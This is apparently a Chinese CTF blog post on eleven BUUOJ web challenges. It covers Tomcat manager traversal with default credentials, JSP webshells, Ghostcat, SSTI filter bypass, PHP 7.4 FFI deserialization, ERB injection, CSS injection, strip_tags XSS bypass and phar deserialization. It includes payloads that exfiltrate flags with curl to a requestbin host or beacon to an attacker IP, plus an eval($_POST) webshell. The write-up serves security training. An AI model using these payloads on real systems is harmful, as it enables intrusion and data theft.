BUUOJ-web刷题(四)

0x 01 [PWNHUB 公开赛 2018]傻 fufu 的工作日

  • 考点

    php数组特性

  • 解题步骤

  1. 题目存在源代码泄露,下载UploadFile.class.php.bak,发现使用的是PHP免扩展加密根据这篇文章介绍https://blog.csdn.net/ababab12345/article/details/90169678,使用解密工具解密,分析源代码定位到关键部分如下:
1
2
3
4
5
6
7
8
9
10
if(!in_array($filename[count($filename)-1], $this->allow_ext)) {
return $this->error('只允许上传图片文件');
}
....

// 用.分割文件名,只保留首尾两个字符串,防御Apache解析漏洞
$origin_name = current($filename); //返回数组中的当前单元
$ext = end($filename); //将数组内部指针指向最后一个元素,并返回该元素的值(如果成功)。
$new_name = ($this->new_name ? $this->new_name : $origin_name) . '.' . $ext;
$target_fullpath = $this->dist_path . DIRECTORY_SEPARATOR . $new_name;

判断后缀名是否在白名单中使用了$filename[count($filename) - 1],而最后字符合成文件名的时候使用了end($filename)。两者的区别是,前者是通过下标来确定,后者则是返回数组的最后一个元素。可以通过数组绕过:

在跟目录得到flag

0x 02 [WUSTCTF2020]Train Yourself To Be Godly

  • 考点

    tomcat解析漏洞

  • 解题过程

补充知识:apache中的tomcat/webapps目录如下

manage目录是可以上传WAR文件部署服务,也就是说可以通过manage目录实现文件上传,继而实现木马上传

URL路径参数不规范引发的问题:

https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf

文章告诉我们可以通过 /..;/manager/html 进入到manager页面

  1. 随便加一串路径,根据报错信息得知当前的tomcat的root路径为examlpes

  1. 访问/..;/manager/html目录穿越到 manager 需要输入密码验证,这里是弱密码 tomcat/tomcat

接下来是后台getshell过程,webshell构造如下:

1
2
3
4
5
6
7
8
9
10
11
12
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>

jar cvf lxj.war webshell.jsp命令将webshell.jsp打包成war,然后上传文件,发现回显404,根据报错信息明显路径拼结完是example/manager/html/upload,缺少一个/..;/,加一个再试。接着会发现401,未授权访问。是缺少了header里的认证,当然在成功访问后台时抓包也能看到自己的header中有认证头。
Authorization: Basic dG9tY2F0OnRvbWNhdA==后面就是tomcat:tomcat的base64编码。继续上传,发现403。一般问题就出在cookie或者session没给,www没有目录访问权限身上。按照目前的思路来说,不会出现服务器权限不足的问题,那就只能是cookie没添。利用burpsuit从头开始抓包,在访问/..;/manager/html出现了Set-Cookie(set-Cookie的Path是指此cookie只在Path目录下起作用),那么我们403的问题就迎刃而解,只需要将/example换成Path参数指定的/manage就行,再把cookie加上就完事了。

最后访问webshell,得到flag

参考资料:

https://www.52hertz.tech/2020/03/30/wctf2020_official_wp/#train-yourself-to-be-godly-1-solves

https://www.jianshu.com/p/368d6c41a2f6

0x 03 [WUSTCTF2020]easyweb

  • 考点

    CVE-2020-1938幽灵猫文件包含

  • 解题过程

  1. 题目打开是一个文件上传,传一个文件上传上去会返回一个之前上传的文件下载,经过测试发现此处存在任意文件读取,可以随意下载:

尝试WEB-INF下的web.xml:/download?file=../web.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">


<context-param>
<param-name>webAppRootKey</param-name>
<param-value>tomcat.ajp</param-value>
</context-param>

<listener>
<listener-class>
org.springframework.web.util.WebAppRootListener
</listener-class>
</listener>

<welcome-file-list>
<welcome-file>/WEB-INF/views/index.jsp</welcome-file>
</welcome-file-list>

<error-page>
<exception-type>java.lang.Throwable</exception-type>
<location>/error</location>
</error-page>
</web-app>

尝试读取/etc/passwd:/download?file=../../../../../../../etc/passwd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
messagebus:x:101:101::/var/run/dbus:/bin/false
sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
systemd-timesync:x:103:104:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:104:105:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:105:106:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:106:107:systemd Bus Proxy,,,:/run/systemd:/bin/false

使用CVE-2020-1938exp(https://github.com/00theway/Ghostcat-CNVD-2020-10487/blob/master/ajpShooter.py)尝试进行文件读取。成功获取页面

注意由于靶机在内网,所以IP地址是根据Lan Domain确定的,外网IP是内网穿透绑定的

构造exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
<%@ page import="java.util.*,java.io.*"%>
<%
out.println("Executing command");
Process p = Runtime.getRuntime().exec("ls /");
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
%>

上传成功后利用文件包含执行木马,最后cat /flag78bt787it8b9b098j0k80k0ggg得到flag

参考资料:

https://www.gem-love.com/ctf/2176.html#easyweb

https://www.52hertz.tech/2020/03/30/wctf2020_official_wp/#easyweb-23-solves

0x 04 [GWCTF 2019]你的名字

  • 考点

    ssti bypass

  • 解题过程

经过fuzz,后台强过滤匹配,这里可以用if语句绕过。黑名单过滤如下

1
2
3
4
5
6
7
8
9
10
blacklist = ['import', 'getattr', 'os', 'class', 'subclasses', 'mro', 'request', 'args', 'eval', 'if', 'for',
' subprocess', 'file', 'open', 'popen', 'builtins', 'compile', 'execfile', 'from_pyfile', 'local',
'self', 'item', 'getitem', 'getattribute', 'func_globals', 'config']
for no in blacklist:
while True:
if no in s:
s = s.replace(no, '')
else:
break
return s

这个逻辑是按顺序针对每个关键词过滤,只能应付双写绕过,可以用列表的最后一项来绕过过滤,payload如下:

1
{% iconfigf ''.__claconfigss__.__mconfigro__[2].__subclaconfigsses__()[59].__init__.func_glconfigobals.lineconfigcache.oconfigs.popconfigen('curl http://http.requconfigestbin.buuoj.cn/1inhq4f1 -d `cat /flag_1s_Hera`;') %}1{% endiconfigf %}

过滤之后最终的脚本如下:

1
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://http.requestbin.buuoj.cn/1inhq4f1 -d `cat /flag_1s_Hera`;') %}1{% endif %}

0x 05 [RCTF 2019]Nextphp

  • 考点

    php7.4新版本特性

  • 解题过程

  1. 查看php配置信息,版本是7.4,同时发现过滤了大多数系统函数

  1. 没有过滤scandir函数,payload:?a=var_dump(scandir('/var/www/html'));

  1. 利用file_get_contents()查看preload.php源码,payload:a=echo file_get_contents('preload.php');
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'print_r',
'arg' => '1'
];

private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}

public function __serialize(): array {
return $this->data;
}

public function __unserialize(array $data) {
array_merge($this->data, $data);
$this->run();
}

public function serialize (): string {
return serialize($this->data);
}

public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}

public function __get ($key) {
return $this->data[$key];
}

public function __set ($key, $value) {
throw new \Exception('No implemented');
}

public function __construct () {
throw new \Exception('No implemented');
}
}

分析代码是:PHP7.4新特性:新的自定义对象序列化机制:关于serialize和unserialize

  1. 观察代码,发现对象反序列化时会执行run()方法
1
2
3
private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}

同时发现可以结合__get魔法函数,获取对象data数组中的元素值

1
2
3
public function __get ($key) {
return $this->data[$key];
}
  1. 根据题目文件名称提示关注php7.4的新特性,关于opcache.preload,参考这篇文章https://wiki.php.net/rfc/preload 可知

opcache.preloadPHP7.4 中新加入的功能。如果设置了 opcache.preload ,那么在所有Web应用程序运行之前,服务会先将设定的 preload 文件加载进内存中,使这些 preload 文件中的内容对之后的请求均可用。

在这篇文档尾巴可以看到如下描述:

In conjunction with ext/FFI (dangerous extension), we may allow FFI functionality only in preloaded PHP files, but not in regular ones

大概意思就是说允许在 preload 文件中使用 FFI 拓展,但是文档中说了 FFI 是一个危险的拓展,而这道题目却开启了 FFI 拓展。

构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'FFI::cdef',
'arg' => 'int system(const char *command);'
];

public function serialize (): string {
return serialize($this->data);
}
public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}
public function __construct () {
}
}

$a = new A();
echo urlencode(serialize($a));

最终payload如下:

1
a=$a%3dunserialize('C%3A1%3A%22A%22%3A95%3A%7Ba%3A3%3A%7Bs%3A3%3A%22ret%22%3BN%3Bs%3A4%3A%22func%22%3Bs%3A9%3A%22FFI%3A%3Acdef%22%3Bs%3A3%3A%22arg%22%3Bs%3A32%3A%22int+system%28const+char+%2Acommand%29%3B%22%3B%7D%7D')->ret;var_dump($a->system("cat%20/flag>b.txt"));

最后访问b.txt得到flag

参考资料:

https://mochazz.github.io/2019/05/21/RCTF2019Web%E9%A2%98%E8%A7%A3%E4%B9%8Bnextphp/#nextphp

https://blog.csdn.net/qq_41809896/article/details/90384668

https://cjm00n.top/CTF/buuoj-writeup-2.html

0x 06 [SCTF2019]Flag Shop

  • 考点

    erb模版注入

  • 解题过程

  1. 页面打开是一个购买flag的页面,flag需要1e+27个JinKela才能购买,数量不够。访问robots.txt发现filebak目录,访问得到页面源代码

  2. 审计代码发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
get "/work" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
auth = auth[0]
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end

if params[:do] == "#{params[:name][0,7]} is working" then

auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

end
end

如果传入的do参数和name参数一致,会输出{params[:name][0,7]} working successfully!

但是限制了只能输入7个字符,除去<%==>只有两个字符可以利用,这时可以利用ruby全局变量$&,可以获得上一次正则匹配的结果

payload:/work?SECRET=&name=%3c%25%3d%24%27%25%3e&do=%3c%25%3d%24%27%25%3e%20is%20working

成功拿到secret,接着伪造cookie

回到页面,buy flag,抓包将伪造的cookie写进去,在返回的包里拿到新的cookie,解密得到flag

参考资料:

https://github.com/ev0A/SCTF2019-Flag-Shop/blob/master/Write-Up/write-up.md

0x 07 [NESTCTF 2019]Love Math 2

  • 考点

    php动态特性捕捉

  • 解题过程

1
2
3
4
5
6
7
8
9
10
11
<?php
$payload = [‘abs‘, ‘acos‘, ‘acosh‘, ‘asin‘, ‘asinh‘, ‘atan2‘, ‘atan‘, ‘atanh‘, ‘bindec‘, ‘ceil‘, ‘cos‘, ‘cosh‘, ‘decbin‘ , ‘decoct‘, ‘deg2rad‘, ‘exp‘, ‘expm1‘, ‘floor‘, ‘fmod‘, ‘getrandmax‘, ‘hexdec‘, ‘hypot‘, ‘is_finite‘, ‘is_infinite‘, ‘is_nan‘, ‘lcg_value‘, ‘log10‘, ‘log1p‘, ‘log‘, ‘max‘, ‘min‘, ‘mt_getrandmax‘, ‘mt_rand‘, ‘mt_srand‘, ‘octdec‘, ‘pi‘, ‘pow‘, ‘rad2deg‘, ‘rand‘, ‘round‘, ‘sin‘, ‘sinh‘, ‘sqrt‘, ‘srand‘, ‘tan‘, ‘tanh‘];
for($k=1;$k<=sizeof($payload);$k++){
for($i = 0;$i < 9; $i++){
for($j = 0;$j <=9;$j++){
$exp = $payload[$k] ^ $i.$j;
echo($payload[$k]."^$i$j"."==>$exp");
echo "<br />";
}
}
}

最终payload

1
/index.php?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=<command>

参考资料:

https://www.cnblogs.com/yesec/p/12664136.html

0x 08 [Zer0pts2020]Can you guess it?

  • 考点

    正则污染绕过、代码审计

  • 解题过程

  1. 打开题目访问源代码进行审计
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
//$_SERVER['PHP_SELF']表示当前php文件相对于网站根目录的位置地址
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF'])); //basename() 函数返回路径中的文件名部分
exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>

问题出在了basename()函数可以跨目录读取文件,但是需要绕过正则,这里可以用污染绕过,贴一下y1ng师傅的fuzz脚本:

1
2
3
4
5
6
7
8
#!/usr/bin/env python
import requests
for i in range (0,500):
url = 'http://814589eb-4094-4449-bf79-39388aa86610.node3.buuoj.cn/index.php/config.php/{}?source'.format(hex(i).replace('0x', '%'))
r = requests.get(url)
print(url)
if r"flag" in r.text:
print(r.content)

可以fuzz出很多可以用的参数

0x 09 [Zer0pts2020]musicblog

  • 考点

    代码设计、XSS bypass

  • 解题过程

  1. 下载题目附件进行审计,在work.js中发现存在flag且设置在浏览器UA中,后台机器人会点击#like标签

  2. 审计utli.php发现

字符串会被加载到<audio>标签并解析到页面,输入的内容经过一次strip_tags处理。

没有过滤其他内容,可以在``中插入任意内容,但是受CSP-nonce的限制

1
2
3
4
$nonce = get_nonce();
header("Content-Security-Policy: default-src 'self'; object-src 'none'; script-src 'nonce-${nonce}' 'strict-dynamic'; base-uri 'none'; trusted-types");
header('X-Frame-Options: DENY');
header('X-XSS-Protection: 1; mode=block');

而这个strip_tags()存在bug:https://bugs.php.net/bug.php?id=78814

image_1e2uhu2v810fc1l7ppa4l41mqm20.png-53.5kB

MusicBlog 中使用的是<audio>作为白名单,<a/udio>可以通过函数处理,并且<a/udio>会作为 超链接<a>被解析

1
></audio><a/udio href="http://http.requestbin.buuoj.cn/vtaf6wvt" id="like">test</a/udio><audio a=

经过处理后展开是

1
<audio controls src=""></audio><a/udio href="http://http.requestbin.buuoj.cn/vtaf6wvt" id="like">test</a/udio><audio a=""></audio>

参考资料:

https://www.hpdoger.cn/2020/03/10/Zer0pts%202020%20CTF-Web%E9%A2%98%E8%A7%A3/#MusicBlog

https://darkwing.moe/2020/03/10/MusicBlog-zer0pts-CTF-2020/

0x 10 [安洵杯 2019]cssgame

  • 考点

    CSS注入

  • 解题过程

  1. 打开靶机,显示界面如下:

右键查看源代码发现:

可以看到flag的值就在标签<input>value属性

然后我们通过靶机发送css参数给内网的flag.html,flag.html接收后将css拼接到:

1
<link rel="stylesheet" href="${encodeURI(req.query.css)}" />

通过css injection来窃取内网flag值,这里可以参考微笑师傅的文章:https://www.smi1e.top/%e9%80%9a%e8%bf%87css%e6%b3%a8%e5%85%a5%e7%aa%83%e5%8f%96html%e4%b8%ad%e7%9a%84%e6%95%b0%e6%8d%ae/

构造exp如下

1
2
3
4
5
6
7
8
9
import sys

f = open("poc.css", "w")
dic = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}-"
for i in dic:
flag = sys.argv[1] + i
payload = "input[name=flag][value^=\"" + flag + "\"] ~ * {background-image: url(\"http://174.0.108.172:8080/?" + flag + "\");}"
f.write(payload + "\n")
f.close()

css=http://174.0.108.172/poc.csspost给crawl.html,在nc监听中可以得到flag

这里环境问题数据可能会传不到内网,需要不停的发包直至收到nc收到请求的信息,坑了我一上午,我裂开了

参考资料:

https://yanmymickey.github.io/2020/04/17/CTFwp/%5B%E5%AE%89%E6%B4%B5%E6%9D%AF%202019%5Dcssgame/

0x 11 [D3CTF 2019]EzUpload

  • 考点

    文件上传、反序列化

  • 解题过程

  1. 题目给了源代码,首先进行审计,发现接受三个参数将文件写入,同时对输入的进行了检查

checkdir()检查了$this->userdir

checkurl()禁止了url出现php|file,防止使用两种伪协议读取本地文件,除了vps上设置文件还可以使用data://协议

checkext()禁止了filename出现../ph,可以联想到使用.htaccess,但是对内容进行了过滤

1
2
3
if (preg_match("/\<\?|value|on|type|flag|auto|set|\\\\/i", $content)){
die('hacker!!!');
}

可以参考:https://www.freebuf.com/vuls/218495.html

传入:

1
AddHandler php7-script .txt

另外有一个问题是__destruct这个魔术方法,如果序列化对象的时候触发,当前的工作路径是根目录/,因此没有写入权限

第一步,寻找phar反序列化触发点,可以通过upload()方法中的 $content = file_get_contents($this->url,NULL,NULL,0,2048);

第二步,获取upload/目录的绝对路径,可以通过__destruct()中的 echo $string; 触发__toString(),打印__DIR__

payload1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

class dir{
public $userdir;
public $url;
public $filename;
}

$d = new dir();
$d->userdir = new dir();
$d->userdir->userdir = "../";
echo urlencode(serialize($d));
$phar = new Phar("1.phar");
$phar->startBuffering();
$phar->setStub("GIF89A"."__HALT_COMPILER();"); //设置stub,增加gif文件头用以欺骗检测
$phar->setMetadata($d); //将自定义meta-data存入manifest
$phar->addFromString("test.jpg", "test"); //添加要压缩的文件
$phar->stopBuffering();

?>

将生成的phar文件重命名为1,gzip压缩后上传到内网服务器:

1
scp -P 28396 /var/www/html/1.gz root@node3.buuoj.cn:/var/www/html/

然后上传文件

触发反序列化,得到实际文件路径为:/var/www/html/6dfe08eda761bd32/upload/48cd8b43081896fbd0931d204f947663

构造shell如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

class dir{
public $userdir;
public $url;
public $filename;

public function __construct(){
$this->filename = '/var/www/html/67e103b0761e6068/upload/48cd8b43081896fbd0931d204f947663/lanxiaojun';
$this->userdir = 'zzzzzzzzz<?php eval($_POST["xxx"]); ?>zzzzzzzzzzz';

$this->url = '1';
}
}

$d = new dir();
echo urlencode(serialize($d));
$phar = new Phar("lanxiaojun.phar");
$phar->startBuffering();
$phar->setStub("GIF89A"."__HALT_COMPILER();"); //设置stub,增加gif文件头用以欺骗检测
$phar->setMetadata($d); //将自定义meta-data存入manifest
$phar->addFromString("test.jpg", "test"); //添加要压缩的文件
$phar->stopBuffering();

?>

这里需要注意的是我们用gzip压缩的时候,刚好含有一些特殊字符,如\等,可以在原来的数据中增加一些额外的数据来绕过。同样的方法上传,触发反序列化。

接着是上传.htaccess

1
action=upload&url=data://text/plain;base64,QWRkSGFuZGxlciBwaHA3LXNjcmlwdCAudHh0&filename=.htaccess

访问shell的页面,绕过open_basedir和disable_function,拿到flag

1
chdir('..');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));echo file_get_contents('F1aG_1s_H4r4');

image-20200428092222247

参考资料:

https://glotozz.github.io/2020/04/02/buuctf-wp/#d3ctf-2019ezupload

https://blog.csdn.net/a3320315/article/details/104423207

https://nikoeurus.github.io/2019/11/26/D%5E3ctf-Web/#ezupload